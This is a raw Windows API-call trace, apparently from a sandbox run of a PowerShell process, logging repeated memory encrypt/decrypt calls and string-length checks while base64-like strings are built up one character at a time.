[0206.221] SystemFunction040 (in: Memory=0x5c91adc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91adc) returned 0x0 [0206.221] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼ᄡ蚴຋࿔캒䚷䝳꩝䲨ꠛ㺩প뙒㡍푞笮᭫薀鴬෥䧏ች") returned 0x28 [0206.221] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼ᄡ蚴຋࿔캒䚷䝳꩝䲨ꠛ㺩প뙒㡍푞笮᭫薀鴬෥䧏ች") returned 0x28 [0206.221] SystemFunction041 (in: Memory=0x5c91adc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91adc) returned 0x0 [0206.221] SysStringLen (param_1="YjBiHOXJAprMCLFL3ntzwLelKFBRoRBPiVscEF䬾ᥥ") returned 0x28 [0206.221] SystemFunction040 (in: Memory=0x5c91adc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91adc) returned 0x0 [0206.221] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼ᄡ蚴຋࿔캒䚷䝳꩝䲨ꠛ㺩প뙒㡍푞站錋領鏈辇氄") returned 0x28 [0206.221] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼ᄡ蚴຋࿔캒䚷䝳꩝䲨ꠛ㺩প뙒㡍푞站錋領鏈辇氄") returned 0x28 [0206.221] SystemFunction041 (in: Memory=0x5c91adc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91adc) returned 0x0 [0206.221] SysStringLen (param_1="YjBiHOXJAprMCLFL3ntzwLelKFBRoRBPiVscEF/ᥥ") returned 0x28 [0206.221] SystemFunction040 (in: Memory=0x5c91adc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91adc) returned 0x0 [0206.221] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼ᄡ蚴຋࿔캒䚷䝳꩝䲨ꠛ㺩প뙒㡍푞ᓔ䝿笍먹㰈ꥺ钥") returned 0x28 [0206.221] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼ᄡ蚴຋࿔캒䚷䝳꩝䲨ꠛ㺩প뙒㡍푞ᓔ䝿笍먹㰈ꥺ钥") returned 0x28 [0206.222] SystemFunction041 (in: Memory=0x5c91adc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91adc) returned 0x0 [0206.222] SysStringLen (param_1="YjBiHOXJAprMCLFL3ntzwLelKFBRoRBPiVscEF/P") returned 0x28 [0206.222] SystemFunction040 (in: Memory=0x5c91adc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91adc) returned 0x0 [0206.222] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼ᄡ蚴຋࿔캒䚷䝳꩝䲨ꠛ㺩প뙒㡍푞䗬ꮳ웎熷ꪣ烰௄泑") returned 0x28 [0206.222] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼ᄡ蚴຋࿔캒䚷䝳꩝䲨ꠛ㺩প뙒㡍푞䗬ꮳ웎熷ꪣ烰௄泑") returned 0x28 [0206.222] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼ᄡ蚴຋࿔캒䚷䝳꩝䲨ꠛ㺩প뙒㡍푞䗬ꮳ웎熷ꪣ烰௄泑") returned 0x28 [0206.222] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼ᄡ蚴຋࿔캒䚷䝳꩝䲨ꠛ㺩প뙒㡍푞䗬ꮳ웎熷ꪣ烰௄泑") returned 0x30 [0206.222] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0206.222] SysStringLen (param_1="YjBiHOXJAprMCLFL3ntzwLelKFBRoRBPiVscEF/PC錦놧쭹⅌욏碷ꇪ") returned 0x30 [0206.222] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0206.223] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼ᄡ蚴຋࿔캒䚷䝳꩝䲨ꠛ㺩প뙒㡍푞䗬ꮳ웎熷ꪣ烰௄泑撏ⵚ쳃꓎謻㗳猺") returned 0x30 [0206.223] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼ᄡ蚴຋࿔캒䚷䝳꩝䲨ꠛ㺩প뙒㡍푞䗬ꮳ웎熷ꪣ烰௄泑撏ⵚ쳃꓎謻㗳猺") returned 0x30 [0206.223] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0206.223] SysStringLen (param_1="YjBiHOXJAprMCLFL3ntzwLelKFBRoRBPiVscEF/PCS놧쭹⅌욏碷ꇪ") returned 0x30 [0206.223] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0206.223] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼ᄡ蚴຋࿔캒䚷䝳꩝䲨ꠛ㺩প뙒㡍푞䗬ꮳ웎熷ꪣ烰௄泑㿫賀吆\⻝࿛晼᫼≦) returned 0x30 [0206.223] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼ᄡ蚴຋࿔캒䚷䝳꩝䲨ꠛ㺩প뙒㡍푞䗬ꮳ웎熷ꪣ烰௄泑㿫賀吆\⻝࿛晼᫼≦) returned 0x30 [0206.223] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0206.223] SysStringLen (param_1="YjBiHOXJAprMCLFL3ntzwLelKFBRoRBPiVscEF/PCSA쭹⅌욏碷ꇪ") returned 0x30 [0206.223] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0206.223] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼ᄡ蚴຋࿔캒䚷䝳꩝䲨ꠛ㺩প뙒㡍푞䗬ꮳ웎熷ꪣ烰௄泑鈛笶্᱐燸縱") returned 0x30 [0206.223] SysStringLen (param_1="煳ୈ搃딄宅쪨쥓꥕︬㋫厏㨠滠贕ਫ਼ᄡ蚴຋࿔캒䚷䝳꩝䲨ꠛ㺩প뙒㡍푞䗬ꮳ웎熷ꪣ烰௄泑鈛笶্᱐燸縱") returned 0x30 [0206.223] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0206.224] SysStringLen (param_1="YjBiHOXJAprMCLFL3ntzwLelKFBRoRBPiVscEF/PCSA=⅌욏碷ꇪ") returned 0x30 [0206.224] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0206.224] EtwEventActivityIdControl () returned 0x0 [0206.224] EtwEventActivityIdControl () returned 0x0 [0206.224] EtwEventActivityIdControl () returned 0x0 [0206.225] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e690, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0206.225] EtwEventActivityIdControl () returned 0x0 [0206.225] EtwEventActivityIdControl () returned 0x0 [0206.225] EtwEventActivityIdControl () returned 0x0 [0206.226] SysStringLen (param_1="") returned 0x8 [0206.226] SysStringLen (param_1="N") returned 0x8 [0206.226] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0206.226] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0206.226] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0206.226] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0206.226] SysStringLen (param_1="ND") returned 0x8 [0206.226] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0206.226] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0206.226] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0206.226] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0206.227] SysStringLen (param_1="NDZ") returned 0x8 [0206.227] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0206.227] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0206.227] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0206.227] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0206.227] SysStringLen (param_1="NDZl") returned 0x8 [0206.227] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0206.227] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0206.227] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0206.227] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0206.227] SysStringLen (param_1="NDZlO") returned 0x8 [0206.227] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0206.431] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0206.431] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0206.431] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0206.431] SysStringLen (param_1="NDZlOD") returned 0x8 [0206.431] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0206.431] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0206.431] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0206.431] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0206.431] SysStringLen (param_1="NDZlODR") returned 0x8 [0206.431] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0206.432] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0206.432] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0206.432] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0206.432] SysStringLen (param_1="NDZlODRm") returned 0x8 [0206.432] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0206.432] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0206.432] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0206.432] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0206.432] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0206.433] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0206.433] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0206.433] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0206.433] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0206.433] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0206.433] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0206.433] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0206.433] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0206.433] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0206.433] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0206.433] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0206.434] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0206.434] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0206.434] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0206.434] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0206.434] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0206.434] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0206.434] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0206.434] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0206.434] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0206.434] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0206.435] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0206.435] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0206.435] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0206.435] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0206.435] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0206.435] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0206.435] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0206.435] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0206.435] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0206.435] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0206.435] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0206.435] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0206.436] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0206.436] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0206.436] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0206.436] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0206.436] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0206.436] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0206.436] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0206.436] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0206.436] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0206.436] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0206.437] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0206.437] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0206.437] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0206.437] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0206.437] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0206.437] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0206.437] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0206.437] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0206.437] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0206.437] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0206.437] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0206.437] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0206.438] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0206.438] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0206.438] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0206.438] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0206.438] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0206.438] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0206.438] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0206.438] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0206.438] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0206.438] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0206.438] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0206.438] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0206.438] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0206.438] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0206.439] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0206.439] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0206.439] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0206.439] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0206.439] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0206.439] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0206.439] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0206.439] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0206.439] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0206.439] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0206.439] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0206.439] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0206.440] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0206.440] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0206.440] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0206.440] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0206.440] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0206.440] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0206.440] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0206.440] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0206.440] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0206.440] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0206.440] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0206.441] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0206.441] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0206.441] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0206.441] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0206.441] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0206.441] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0206.441] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0206.441] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0206.441] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0206.441] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0206.441] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0206.441] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0206.441] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0206.442] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0206.442] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0206.442] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0206.442] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0206.442] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0206.442] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0206.442] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0206.442] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0206.442] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0206.442] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0206.442] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0206.442] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0206.443] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0206.443] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0206.443] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 